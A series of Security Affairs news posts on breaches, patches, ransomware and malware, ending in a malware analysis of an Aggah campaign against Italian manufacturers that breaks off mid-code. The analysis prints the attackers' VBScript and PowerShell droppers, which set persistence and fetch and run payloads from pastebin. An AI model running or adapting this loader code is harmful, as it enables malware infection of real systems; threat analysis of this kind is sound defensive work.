“This data point suggests that this problem is one of discovery and tracking, not huge refactoring of code.”

Pierluigi Paganini

(SecurityAffairs – open-source libraries flaws, hacking)

The post Bugs in open-source libraries impact 70% of modern software appeared first on Security Affairs.

Cisco fixed a critical issue in the Unified Contact Center Express

Cisco has released several security patches, including one for a critical issue, tracked as CVE-2020-3280, in the call-center software Unified Contact Center Express.

Cisco released a set of security patches, including one for a critical flaw in its call-center software Unified Contact Center Express, tracked as CVE-2020-3280.

The CVE-2020-3280 vulnerability is a remote code execution issue that resides in the Java remote management interface for Unified CCE.

“A vulnerability in the Java Remote Management Interface of Cisco Unified Contact Center Express (Unified CCX) could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.” reads the security advisory published by Cisco.

“The vulnerability is due to insecure deserialization of user-supplied content by the affected software. An attacker could exploit this vulnerability by sending a malicious serialized Java object to a specific listener on an affected system.”

An unauthenticated, remote attacker could exploit the issue to execute arbitrary code as the root user on a vulnerable device.

The issue could be exploited by supplying a malformed Java object to a specific listener on an vulnerable system

Administrators should update their Unified CCE installs as soon as possible.

The good news is that Cisco is not aware of attacks in the wild that exploited the flaw.

Pierluigi Paganini

(SecurityAffairs – Unified CCE, hacking)

The post Cisco fixed a critical issue in the Unified Contact Center Express appeared first on Security Affairs.

Ragnar Ransomware encrypts files from virtual machines to evade detection

Ransomware encrypts from virtual machines to evade antivirus

Ragnar Locker deploys Windows XP virtual machines to encrypt victim’s files, the trick allows to evaded detection from security software.

Crooks always devise new techniques to evade detection, the Ragnar Locker is deploying Windows XP virtual machines to encrypt victim’s files while bypassing security measures.

The Ragnar Locker appeared relatively in the threat landscape, at the end of the 2019 it was employed in attacks against corporate networks. 

One of the victims of the ransomware is the energy giant Energias de Portugal (EDP), where the attackers claimed to have stolen 10 TB of files.

While many ransomware infections terminate security programs before encrypting,

This sample of Ragnar Locker terminates security programs and managed service providers (MSP) utilities to prevent them from blocking the attack.

“A new ransomware attack method takes defense evasion to a new level—deploying as a full virtual machine on each targeted device to hide the ransomware from view. In a recently detected attack, Ragnar Locker ransomware was deployed inside an Oracle VirtualBox Windows XP virtual machine.” reads the report published by Sophos. “The attack payload was a 122 MB installer with a 282 MB virtual image inside—all to conceal a 49 kB ransomware executable.”

The attack chain starts with the creation of a tool folder that includes VirtualBox, a mini Windows XP virtual disk called micro.vdi, which is an image of a stripped-down version of the Windows XP SP3 OS (MicroXP v0.82). The image includes the 49 kB Ragnar Locker ransomware executable, the attack also includes several executables and scripts to prep the environment.

Ragnar Locker ransomware

The malware leverage a VirtualBox feature that allows the host operating system to share folders and drives as a network share inside a virtual machine.  The virtual machine mounts the shared path as a network drive from the \\VBOXSVR virtual computer to access their content.

“In addition to the VirtualBox files, the MSI also deploys an executable (called va.exe), a batch file (named install.bat), and a few support files. After completing the installation, the MSI Installer executes va.exe, which in turn runs the install.bat batch script.” continues the analysis. “The script’s first task is to register and run the necessary VirtualBox application extensions VBoxC.dll and VBoxRT.dll, and the VirtualBox driver VboxDrv.sys.”

The install.bat batch file allows the threat to scan for local drives and mapped network drives on the host and builds a configuration file that automatically shares them with the virtual machine.

The script also prepares an sf.txt file containing VirtualBox configuration settings to automatically share all of the drives on the computer with the virtual machine.

The attackers launch the Windows XP virtual machine using the SharedFolder directives created by their batch file that are accessible within the virtual machine. and the Ragnar Locker ransomware executable will automatically be present in the root of the C:\ drive.

When launched, all of these shared drives will now be accessible from within the virtual machine. Experts pointed you that the Ragnar Locker ransomware executable will automatically be present in the root of the C:\ drive.

Windows XP virtual machine
Windows XP virtual machine
(Source: Sophos)

Also included is a vrun.bat file that is located in the Startup folder so that it is launched immediately when the virtual machine starts.

This vrun.bat file, shown below, will mount each shared drive, encrypt it, and then proceed to the next drive shared with the virtual machine.

Mounting all the shared drives to encrypt
Mounting all the shared drives to encrypt

As the security software running on the victim’s host will not detect the ransomware executable or activity on the virtual machine, it will happily keep running without detecting that the victim’s files are now being encrypted.

It should be noted that if the victim was running Windows 10’s Controlled Folder Access anti-ransomware feature, it may have been protected from an attack like this as the operating system would have detected writes to the protected folders.

When done, the victim will find a custom ransom note on their computer explaining how their company was breached, and their files were encrypted.

Custom Ragnar Locker ransom note
(Source: Sophos)

The use of a virtual machine to encrypting a device’s files without being detected is an innovative approach.

As VirtualBox and a Windows XP virtual machine are not considered malicious, most security software will not be concerned that it is blissfully writing to all the data on the computer.

This attack illustrates how security software with behavioral monitoring is becoming more important to stem the tide of ransomware infections.

Only by detecting the unusual mass file writes, would this attack be detected.

Pierluigi Paganini

(SecurityAffairs – Ragnar Locker ransomware, hacking)

The post Ragnar Ransomware encrypts files from virtual machines to evade detection appeared first on Security Affairs.

25 million Mathway user records available for sale on the dark web

A threat actor is offering for sale on a dark web marketplace a database containing 25 million user records belonging to the Mathway.

A data breach broker, known as Shiny Hunters, is offering for sale on a dark web marketplace a database that contains 25 million user records for Mathway.

Early May, Shiny Hunters attempted to sell on a dark web marketplace databases containing more than 73.2 million user records from 11 different companies.

Shiny Hunters started offering the Tokopedia dump, then it began proposing 22 million user records for Unacademy and data allegedly obtained from the hack of the Microsoft’s GitHub account.

Recently the group has begun selling databases for the meal kit and food delivery company HomeChef, the photo print service ChatBooks, and Chronicle.com.

Mathway is a free math problem solver, from basic algebra to complex calculus, it instantly solves users’ math problems simply by typing their problem in (or point their camera and snap a pic!). Users will receive instant free answers through their website or mobile apps (both iOS and Android).

The Mathway app has over 10 million installs on Android Play Store and the Apple Store.

The dump was discovered by cyber intelligence firm Cyble, which confirmed that the archive was being sold in private sales in underground markets.

The Shiny Hunters group is offering for sale the Mathway database for $4,000.

Users’ records in the dump include email addresses and hashed passwords.

“We are aware of reports of a potential data compromise.  We are working with cybersecurity experts to investigate further, and will take the appropriate steps to ensure the security of customer information.” reads a statement published by Mathway.

Mathway is currently investigating the security breach, meantime its users should also change their password on the site and on any other site where they used the same credentials.

Mathway users could check if their account was impacted by the data breach by querying the Cyble’s AmIBreached data breach lookup service.

Pierluigi Paganini

(SecurityAffairs – Mathway, hacking)

The post 25 million Mathway user records available for sale on the dark web appeared first on Security Affairs.

Unc0ver is the first jailbreak that works on all recent iOS versions since 2014

A team of hackers and cyber-security researchers have released a new jailbreak package dubbed Unc0ver for iOS devices.

A team of cyber-security researchers and hackers have released a new jailbreak package dubbed Unc0ver (from the name of the team that devised it) that works on all recent iOS versions.devices, even those running the current iOS 13.5 release.

Jailbreaking an iOS mobile device it is possible to remove hardware restrictions implemented by the Apple’s operating system, Jailbreaking gives users root access to the iOS file system and manager, this allows them to download and install applications and themes from third-party stores.

By default, Apple does not allow users to have full control over their iPhones and other iOS devices, citing security reasons.

The Unc0ver team today released Unc0ver 5.0.0, the latest version of their jailbreak, which can root and unlock all iOS devices, even those running the latest iOS v13.5.

The jailbreak exploits a zero-day vulnerability in the iOS operating system that was discovered by Pwn20wnd, a member of the Unc0ver team, and that has yet to be addressed by Apple.

Pwn20wnd states that #unc0ver v5.0.0 will be a big milestone for jailbreaking because it is the first zero-day jailbreak released since iOS 8 that was released in September 2014.

Other jailbreak applications released since iOS 9 used 1-day exploits and and did not work on the current iOS version.

The new Unc0ver 5.0.0 jailbreak can be used from iOS, macOS, Linux, and Windows devices.

The Unc0ver team published instructions on their website.

“unc0ver is designed to be stable and enable freedom from the moment you jail​break your device. Built-in runtime policy softener allows running code without Apple’s notarization and pervasive restrictions.” reads the website.

“unc0ver Team strongly cautions against installing any iOS software update that breaks unc0ver as you can’t re-jail​break on versions of iOS that are not supported by unc0ver at that time.”

The Unc0ver team tested the jailbreak on iOS 11 through iOS 13.5, the software did not work on iOS versions 12.3 to 12.3.2 and 12.4.2 to 12.4.5.

What makes this jailbreak outstanding is that according to Pwn20wnd it doesn’t impact Apple’s iOS security features.

Let’s see when Apple will release security updates to address the zero-day vulnerability exploited by the Unc0ver team.

Pierluigi Paganini

(SecurityAffairs – Unc0ver, jailbreak)

The post Unc0ver is the first jailbreak that works on all recent iOS versions since 2014 appeared first on Security Affairs.

Coronavirus-themed attacks May 17 – May 23, 2020

This post includes the details of the Coronavirus-themed attacks launched from May 17 to May 23, 2020.

Threat actors exploit the interest in the Coronavirus outbreak while infections increase worldwide, experts are observing new campaigns on a daily bases.

Below a list of attacks detected this week.

May 19 – Hackers Target Oil Producers During COVID-19 Slump

Recent research shows that the oil industry — already experiencing difficulties due to COVID-19 — must remain abreast of threats to stay safe from hackers.

May 22 – Microsoft warns of “massive campaign” using COVID-19 themed emails

Experts from the Microsoft Security Intelligence team provided some details on a new “massive campaign” using COVID-19 themed emails.

May 23 – Experts observed a spike in COVID-19 related malspam emails containing GuLoader

Security experts observed a spike in the use of the GuLoader since March 2020 while investigating COVID-19-themed malspam campaigns.

If you are interested in COVID19-themed attacks from February 1 give a look at the following posts:

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Coronavirus-themed attacks May 17 – May 23, 2020 appeared first on Security Affairs.

Security Affairs newsletter Round 265

A new round of the weekly SecurityAffairs newsletter arrived! Every week the best security articles from Security Affairs free for you in your email box.

Elexon, a middleman in the UK power grid network hit by cyber-attack
Experts reported the hack of several supercomputers across Europe
A bug in Edison Mail iOS app impacted over 6,400 users
FBI warns US organizations of ProLock ransomware decryptor not working
Mandrake, a high sophisticated Android spyware used in targeted attacks
Stored XSS in WP Product Review Lite plugin allows for automated takeovers
Texas Department of Transportation (TxDOT) hit by a ransomware attack
129 million records of Russian car owners available on the dark web
Australian product steel producer BlueScope hit by cyberattack
Bluetooth BIAS attack threatens billions of devices
Both Mirai and Hoaxcalls IoT botnets target Symantec Web Gateways
Easyjet hacked: 9 million customers data exposed along with 2,200+ credit card details
Hackers Target Oil Producers During COVID-19 Slump
Adobe fixed several memory corruption issues in some of its products
Israel is suspected to be behind the cyberattack on Iranian port
Researchers disclose five Microsoft Windows zero-days
Security Service of Ukraine arrested the popular hacker Sanix who sold billions of stolen credentials
Three flaws in Nitro Pro PDF reader expose businesses to hack
VMware fixes CVE-2020-3956 Remote Code Execution issue in Cloud Director
Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia
Japan suspects HGV missile data leak in Mitsubishi security breach
Meal delivery service Home Chef discloses data breach
Santander, one of the biggest European banks, was leaking sensitive data on their website
Sophos blocked attacks exploiting XG Firewall zero-day to deploy Ransomware
Tens of thousands Israeli websites defaced
Cyber-Criminal espionage Operation insists on Italian Manufacturing
Experts found a Privilege escalation issue in Docker Desktop for Windows
Microsoft warns of massive campaign using COVID-19 themed emails
Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry
Experts observed a spike in COVID-19 related malspam emails containing GuLoader
Silent Night Zeus botnet available for sale in underground forums
The Florida Unemployment System suffered a data breach
Voter information for 2 millions of Indonesians leaked online

Pierluigi Paganini

(SecurityAffairs – newsletter)

The post Security Affairs newsletter Round 265 appeared first on Security Affairs.

Personal details and documents for millions of Indians available in the deep web

Researchers have discovered a dump containing 29.1M Indian jobseekers personal details that was offered for free in the hacking underground.

Researchers discovered a dump containing 29.1M Indian jobseekers personal details that was offered for free in the hacking underground.

An anonymous entity told Cyble researchers that the data were stored on an unprotected elastic search instance that is no longer accessible.

While Cyble was investigating the issue, a threat actor published more than 2,000 Indian Identity cards (Aadhaar cards) on one hacking forum, files appears to have originated from 2019.

Indian Identity card leak

Then the threat actor leaked 1.8M identity cards belonging to citizens of the Madhya Pradesh state on their forum.

“Cyble has indexed this information on their data breach monitoring and notification platform, Amibreached.com. People who are concerned about their information leakage, can ascertain the risks by registering to the platform.” reads the post published by Cyble.

Cyble researchers also discovered that a threat actor posted 2.3 GB (zipped) file on one of the hacking forums.

This time the leak contains a lot of personal details of millions of Indians Job seekers from different states. At the time of writing this article, the experts are still investigating the source of the leak.

“It appears to have originated from a resume aggregator given the sheer volume and detailed information.” state the experts.

“Cyble researchers have identified a sensitive data breach on the darkweb where an actor has leaked personal details of ~29 Million Indian Job Seekers from the various states. The original leak appears to be from a resume aggregator service collecting data from various known job portals. Cyble’s team is still investigating this further and will be updating their article as they bring more facts to the surface. This breach includes sensitive information such as email, phone, home address, qualification, work experience etc.”

Crooks could use personal information exposed in both data leaks to conduct various malicious activities, including identity thefts, scams, and corporate espionage.

Pierluigi Paganini

(SecurityAffairs – Indians data leaks, hacking)

The post Personal details and documents for millions of Indians available in the deep web appeared first on Security Affairs.

Online education site EduCBA discloses data breach and reset customers’ pwds

The online education portal EduCBA discloses a data breach and is resetting customers’ passwords in response to the incident.

Online education website EduCBA discloses a data breach, it has started notifying customers that in response to the incident it is resetting their passwords.

EduCBA is a leading global provider of skill based education with 500,000+ members across 40+ Countries. It offers 2500+ courses prepared by top-notch professionals from the Industry to help participants achieve their goals successfully. 

The company is notifying by email the incident to its customers confirming that their data have been accessed by an unauthorized party.

“Therefore, as a caution, we have invalidated passwords of all the users. You may retrieve your password here,” the data breach notification.

The data breach notification doesn’t include technical details about the attack, it only states that email, name, password, courses visited, etc may have been compromised.

The online education website states that no financial information was exposed as they use third-party processors such as PayPal and 2Checkout to process payments.

EduCBA data breach
Source BleepingComputer

As a precaution, EduCBA states that they have reset all user’s passwords.

As usual, customers that have used their EduCBA credentials at other sites have to change their passwords at these sites too.

Customers should remain vigilant of cyber attack, crooks may use their data to carry out spear-phishing attacks.

Pierluigi Paganini

(SecurityAffairs – EduCBA, hacking)

The post Online education site EduCBA discloses data breach and reset customers’ pwds appeared first on Security Affairs.

Experts observed a spike in COVID-19 related malspam emails containing GuLoader

Security experts observed a spike in the use of the GuLoader since March 2020 while investigating COVID-19-themed malspam campaigns.

Researchers from Vipre Labs observed a spike in the use of GuLoader in COVID-19-themed campaign since March 2020.

GuLoader

The discovery confirms that crooks continue to use COVID-19 lures in malspam campaigns. In the campaign monitored by Vipre Labs, attackers used spam email samples containing GuLoader.

The GuLoader is a popular RAT that appeared in the threat landscape in 2019 and that was involved in other COVID-19 campaigns, it is written in VB5/6 and compressed in a .rar/.iso file. 

GuLoader is usually employed in spam campaigns using bill payments, wire transfers or COVID lures.

In the last campaign observed by experts, the downloader utilizes cloud hosting services to keep the payload encrypted.

“This malware downloader utilizes cloud hosting services like Microsoft OneDrive or Google Drive to keep its payload encrypted. Also, GuLoader is used to download Remote Access Trojan (RAT) or files that allow attackers to control, monitor, or steal information on the infected machine.” reads the analysis.

The malware implements anti-analysis techniques, such as an anti-debugger. In order to achieve persistence, GuLoader creates a folder in which to place a copy of itself and modifies a registry key.

Now the loader implements process hollowing and use the child processes to download, decrypt, and map the payload into memory.

Common payloads downloaded by the loader are Formbook, NetWire, Remcos, Lokibot, and others.

The analysis published by Vipre Labs includes technical details about the threats, including Indicators of Compromise (IoCs).

In early March, experts at MalwareHunterTeam uncovered a COVID-19-themed campaign that was distributing the GuLoader malware to deliver the FormBook information-stealing Trojan.

The campaign was using emails that pretend to be sent by members of the World Health Organization (WHO).

Pierluigi Paganini

(SecurityAffairs – COVID-19, malspam)

The post Experts observed a spike in COVID-19 related malspam emails containing GuLoader appeared first on Security Affairs.

Silent Night Zeus botnet available for sale in underground forums

Experts reported the existence of a botnet, tracked as Silent Night based on the Zeus banking Trojan that is available for sale in several underground forums.

This week researchers from Malwarebytes and HYAS published a report that included technical details on a recently discovered botnet, tracked as Silent Night, being distributed via the RIG exploit kit and COVID-19 malspam campaign. 

Silent Night

The source code of the Zeus Trojan is available in the cybercrime underground since 2011 allowing crooks to develop their own release since.

Experts found multiple variants in the wild, many of them belonging to the Terdot Zbot/Zloader malware family.

The name “Silent Night” Zbot is likely a reference to a weapon mentioned in the 2002 movie xXx, it was first spotted in November 2019 when a seller named “Axe” started offering it on the Russian underground forum forum.exploit[.]in.

Axe was advertising the Trojan as the result of over five years of work, a total of 15k ~ hours were spent for the development of the malicious code.

“The author described it as a banking Trojan designed with compatibility with Zeus webinjects. Yet, he claims that the code is designed all by him, based on his multiple years of experience – quote: “In general, it took me 5+ years to develop and support the bot, on average about 15k ~ hours were spent.”.” reads the report published by the researchers.

The botnet goes for $4,000 per month for a custom build, $2,000 per month for a general build, while an extra for HVNC functionality is available for 1,000 USD/month and 14 days to test the code for 500 USD.

Experts believe that Axe is the developer of the Axe Bot 1.4.1, comparing Axe Bot 1.4.1 and Zloader 1.8.0 C2 source codes, experts noted that all of their custom PHP functions have the prefix CSR, which can either be a naming space or a developer’s handle

Silent Night is able to grab information from online forms and perform web injections in major browsers, including Google Chrome, Mozilla Firefox, and Internet Explorer, monitor keystrokes, take screenshots, harvest cookies and passwords.

Silent Night leverages web injections to hijack a user’s session and redirect them to malicious domains or to grab the login credentials for online banking services. Data collected by the malware are then transferred to the operator’s command-and-control (C2) server.

The malware is able to infect all operating systems.

The seller also claims to use an original obfuscator, the decryption is performed only “on demand.” The analysis of the content of an open directory on the Command and Control server allowed the researchers to discover a manual for bot operators that includes instructions for the set up of the malware.

On Dec 23 2019, this variant of Zloader was observed being distributed by the RIG Exploit Kit, experts observed small campaigns, likely for testing purposes. The spreading intensified over time, in March 2020, it was delivered in a COVID-19-themed spam campaign using weaponized Word documents.

“The design of Silent Night is consistent and clean, the author’s experience shows throughout the code. Yet, apart from the custom obfuscator, there is not much novelty in this product. The Silent Night is not any game changer, but just yet another banking Trojan based on Zeus.” concludes the report. “Based on the analysis of the bot’s configurations, we may confidently say that there is more than one customer of the “Silent Night”.”

Pierluigi Paganini

(SecurityAffairs – Silent Night, hacking)

The post Silent Night Zeus botnet available for sale in underground forums appeared first on Security Affairs.

The Florida Unemployment System suffered a data breach

Officials revealed that the Florida Unemployment System suffered a data breach that impacted some residents who have made unemployment claims.

The Florida Department of Economic Opportunity revealed that the Florida Unemployment System suffered a data breach that impacted some residents who have made unemployment claims.

It has notified 98 people that have been impacted by the incident, government representatives didn’t disclose when the breach took place either the number of the affected individuals and the type of information compromised.

The agency spokeswoman Paige Landrum announced that the breach was addressed within one hour after the officials became aware of it. The Florida Department of Economic Opportunity is offering tho the impacted citizens identity protection services for free.

Impacted users should be vigilant and report any unauthorized activity on their financial accounts.

“The DEO has received more than 2 million claims seeking unemployment benefits from Floridians since the coronavirus pandemic caused mass business closings around the state, though only 1.6 million claims have been verified.” reported the AP agency. “Just under 1 million jobless workers in Florida have been paid more than $2.6 billion in benefits.”

State Sen. Linda Stewart, D-Orlando, expressed concern about the response of the agency to the security breach and the measures it has adopted to prevent future incidents. Stewart sent a letter to Department of Management Services Secretary Jonathan Satter, whose office oversees information technology for other state agencies.

“Given the agency’s (DEO) track record with processing unemployment applications, I’m sure you will understand the great concern I have that all remedies have been quickly taken and that Floridians can be assured that their personal information is now secured and will be protected from future attacks,” Stewart wrote.

The good is that the Florida Department of Economic Opportunity is not aware of malicious activity abusing exposed data.

Pierluigi Paganini

(SecurityAffairs – Florida, hacking)

The post The Florida Unemployment System suffered a data breach appeared first on Security Affairs.

Experts found a Privilege escalation issue in Docker Desktop for Windows

A severe privilege escalation vulnerability, tracked as CVE-2020-11492, has been addressed in the Windows Docker Desktop Service. 

Cybersecurity researchers from Pen Test Partners publicly disclosed a privilege escalation vulnerability in the Windows Docker Desktop Service. 

The CVE-2020-11492 issue affects the way the service uses named pipes when communicating as a client to child processes. 

“Docker Desktop for Windows suffers from a privilege escalation vulnerability to SYSTEM.  The core of the issue lies with the fact that the Docker Desktop Service, the primary Windows service for Docker, communicates as a client to child processes using named pipes.” reads the analysis published by Pen Test Partners.

“The high privilege Docker Desktop Service can be tricked into connecting to a named pipe that has been setup by a malicious lower privilege process.  Once the connection is made, the malicious process can then impersonate the Docker Desktop Service account (SYSTEM) and execute arbitrary system commands with the highest level privileges.”

Experts discovered that the Docker Desktop Service can be tricked by attackers into connecting to a named pipe that has been set up by a malicious lower privilege process. Then the process can impersonate the Docker Desktop Service account and execute arbitrary commands with the highest privileges.

Upon installing Docker Desktop for Windows, a service called Docker Desktop Service is installed and runs by default, waiting for the Docker Desktop application to start.

Once the Docker software is started it will create several child processes to manage several functions such as process monitoring and image creation. Windows OS uses pipes for inter-process communication (IPC).

Named pipes could allow the server side of the connection to impersonate the client account who is connecting.  The impersonation functionality allows the service to drop its credentials in favour of the connecting client.  Experts pointed out that when restricted operating system functionalities and files are requested, the action is performed under the impersonated account and not the service account that the process was launched under.

This specific right is dubbed “Impersonate a client after authentication,” and is assigned to specific accounts by default including admin, network service, IIS App Pool, and Microsoft SQL Server Account.

“By default, services that are started by the Service Control Manager have the built-in Service group added to their access tokens. Component Object Model (COM) servers that are started by the COM infrastructure and that are configured to run under a specific account also have the Service group added to their access tokens. As a result, these services get this user right when they are started.” continues the post.

“Anything started by the Service Control Manager will automatically get the impersonation privilege, no matter which account is used to start the service.

Experts discovered that an attacker that is able to execute code under the context of a process with the above privileges, could set up a malicious pipe to compromise the software and elevate their privileges to system-level. 

Experts pointed out that attackers need Administrator rights to create such a service.

“Let’s say you happen to be hosting a vulnerable IIS Web Application on the same machine as Docker for Windows,” continues the analysis.”This could be one example of a successful attack vector. The initial attack vector could utilize a vulnerability in the web application to perform code execution under the limited IIS App Pool account.”

The researchers sent the details to the Docker security team on March 25, that initially said impersonation is a Windows feature and reported the issue to Microsoft.

Experts provided a Proof-of-Concept (PoC) to Docker that finally acknowledged it on April 1. 

On May 11, Docker released version 2.3.0.2 that addresses the vulnerability.

“After a few emails back and forth, then finally submitting a working PoC, Docker did agree that it was a security vulnerability and as such have now issued a fix.  When the Docker service process connects to the named pipes of spawned child processes it now uses the SecurityIdentification impersonation level.  This will allow the server end of the pipe to get the identity and privileges of the client but not allow impersonation.” Pen Test Partners concludes.

Pierluigi Paganini

(SecurityAffairs – Windows, hacking)

The post Experts found a Privilege escalation issue in Docker Desktop for Windows appeared first on Security Affairs.

Cyber-Criminal espionage Operation insists on Italian Manufacturing

ZLab researchers spotted a new malicious espionage activity targeting Italian companies operating worldwide in the manufacturing sector.

Introduction

During our Cyber Threat Intelligence monitoring we spotted new malicious activities targeting some Italian companies operating worldwide in the manufacturing sector, some of them also part of the automotive production chain.

The group behind this activity is the same we identified in the past malicious operations described in Roma225 (12/2018), Hagga (08/2019), Mana (09/2019), YAKKA (01/2020). This actor was first spotted by PaloAlto’s UNIT42 in 2018 during wide scale operations against technology, retail, manufacturing, and local government industries in the US, Europe and Asia. They also stated the hypothesis of possible overlaps with the Gorgon  APT group, but no clear evidence confirmed that.

However, in order to keep track of all of our report, we synthesized all the monitored campaigns, with their TTPs and final payload:

Table 1: Synthetic table of the campaigns

As we can see from the table, the Aggah campaigns varied in the time, but it maintained some common points. All campaigns used as the initial stage an office document (PowerPoint or Excel) armed with macro and some of them used injection methods. 

All attack operations used a “Signed Binary Proxy Execution” technique abusing Mshta, a legit Microsoft tool, and used at least an executable file for the infection. In addition, the use of PowerShell stage or the abuse of legit web service has been reported in some campaigns. 

Furthermore the CMSTP bypass exploit is a new feature present only in the 2020, because the first malwares identified to exploit this vulnerability all date back to mid/end 2019, making think the fact that the Threat Actor likes to test the latest disclosed exploits in order to make its campaigns always at the forefront. Regarding persistence mechanisms, we note that initially scheduled tasks were used, but in the latest infections the registry run keys were used. All threats use at least one obfuscation method to make the analysis harder. 

Looking at the evolution of the final payloads, we can say that this evolution is certainly due to a chronological factor, since Revenge rat had become obsolete, but the evolution is also due to the technological factor and its means: revenge rat has the classic functionality of spyware, while AZORult is considered an info stealer. As a last payload, Agent Tesla was used which collects all the functionality of the previous payloads as it is considered an info stealer and spyware.

Technical Analysis

The infection chain starts with a malicious Microsoft Powerpoint weaponized with a malicious macro.

Hash7eafb57e7fc301fabb0ce3b98092860aaac47b7118804bb8d84ddb89b9ee38f3
ThreatMalicious macro
Brief DescriptionMalicious ppt dropper with macro.
Ssdeep192:EFm9QiR1zQRZ0DfZGJjBVySCGVBdJWUpFVzsn6xVNdwWFj/WOvYoZLlmYvJuec9r:i8R1ERZ0DMJjU+bRuxURKMxpcksPY

Table 2. Sample information

The content of the macro is quite easy to read and the content is short and easy to read:

Figure 1: Content of the malicious macro

The VBA macro is responsible to download and execute malicious code retrieved from pastebin.  j[.mp is an url shortening service, the following request redirect and download a pastebin content:

Figure 2: Shortener resolution

The MSHTA Drop Chain

Like the previous campaigns, this threat actor uses a Signed Binary Proxy Execution (ID: T1218) technique abusing “mshta.exe” (T1170) a signed and legit Microsoft tool. Adversaries can use mshta.exe to proxy execution of malicious .hta files, Javascript or VBScript.

Figure 3: Piece of code of the Bnv7ruYp paste

As shown in the above figure, the code is simply URI encoded by replacing each instance of certain characters by one, two or three escape sequences representing the UTF-8 encoding of the character. 

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>’id1CreateObject(“WScript.Shell”).Run “””mshta””””http:\\pastebin.com\raw\5CzmZ5NS”””
CreateObject(“WScript.Shell”).Run StrReverse(“/ 08 om/ ETUNIM cs/ etaerc/ sksathcs”) + “tn “”Pornhubs”” /tr “”\””mshta\””http:\\pastebin.com\raw\5CzmZ5NS”” /F “,0
‘id2CreateObject(“WScript.Shell”).RegWrite StrReverse(“TRATS\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\pastebin.com\raw\sJEBiiMw”””, “REG_SZ”‘id3CreateObject(“WScript.Shell”).RegWrite StrReverse(“\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\pastebin.com\raw\YL0je2fU”””, “REG_SZ”

‘defidCreateObject(“WScript.Shell”).Run “””mshta””””http:\\pastebin.com\raw\UyFaSxgj”””CreateObject(“WScript.Shell”).RegWrite StrReverse(“FED\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\pastebin.com\raw\UyFaSxgj”””, “REG_SZ”

self.close</script>

Code Snippet 1

This stage acts as a dropper, in fact, it downloads and executes some pastebin contents through mshta.exe. 

Figure 4: Evidence of the NIBBI author

This lasta campaign has been dubbed with the name of the Pastebin user spreading the malicious pastes. This time the name is “NIBBI”. The first component is 5CzmZ5NS:

Figure 5: Piece of the code of 5CzmZ5NS paste

The second one is sJEBiiMw:

Figure 6: Piece of the code of the sJEBiiMw paste

The third one, YL0je2fU:

Figure 7: Piece of the code of the YL0je2fU paste

and the fourth component, UyFaSxgj:

Figure 8: Piece of the code of the UyFaSxgj paste

This obfuscation technique is typical of this particular actor and he largely leveraged it in many malicious operations. Moreover, the usage of a legit website such as pastebin (T1102) gives a significant amount of cover such as advantages of being very often whitelisted. Using such a service permits to reduce the C2 exposure. In the past, other groups also used similar techniques to decouple attack infrastructure information from their implant configuration, groups such as APT41, FIN6 or FIN7.

Once decoded the first component (5CzmZ5NS), it unveils some logic, as shown in Code Snippet 2. First of all, the script set a registry key, as a windows persistence mechanism (T1060) in which it place the execution of the following command: “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).iamresearcher)|IEX

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>CreateObject(“WScript.Shell”).RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin”, “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).iamresearcher)|IEX””””, 0 : window.close””)”, “REG_SZ”
CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\iamresearcher”, “$fucksecurityresearchers=’contactmeEX’.replace(‘contactme’,’I’);sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open(‘GET’,’https://pastebin.com/raw/rnS6CUzX’,$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split ‘-‘ |ForEach-Object {[char][byte]””0x$_””};$asciiString= $asciiChars -join ”|M;[Byte[]]$Cli2= iex(iex(‘(&(GCM *W-O*)’+ ‘Net.’+’WebC’+’lient)’+’.Dow’+’nload’+’Str’+’ing(”https://pastebin.com/raw/Rk4engdU”).replace(”#”,”!#!@#”).replace(”!#!@#”,”0x”)’)) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS(‘InstallUtil.exe’,$Cli2)” , “REG_SZ”
Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell ((gp HKCU:\Software).iamresearcher)|IEX”, null, objConfig, intProcessID)’i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way’i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!’i am not a coder! bang 😉
self.close
</script>

Code Snippet 2

The code contains some “funny” comments related to the twitter community of security researchers which constantly monitor the actor operations. Then, the final payload is identified by Rk4engdU paste.

Figure 9: Piece of the rnS6CUz paste

Decoding this hex stream we get the following powershell code:

function UNpaC0k3333300001147555 {
[CmdletBinding()]    Param ([byte[]] $byteArray)  Process {     Write-Verbose “Get-DecompressedByteArray”        $input = New-Object System.IO.MemoryStream( , $byteArray )     $output = New-Object System.IO.MemoryStream            $01774000 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
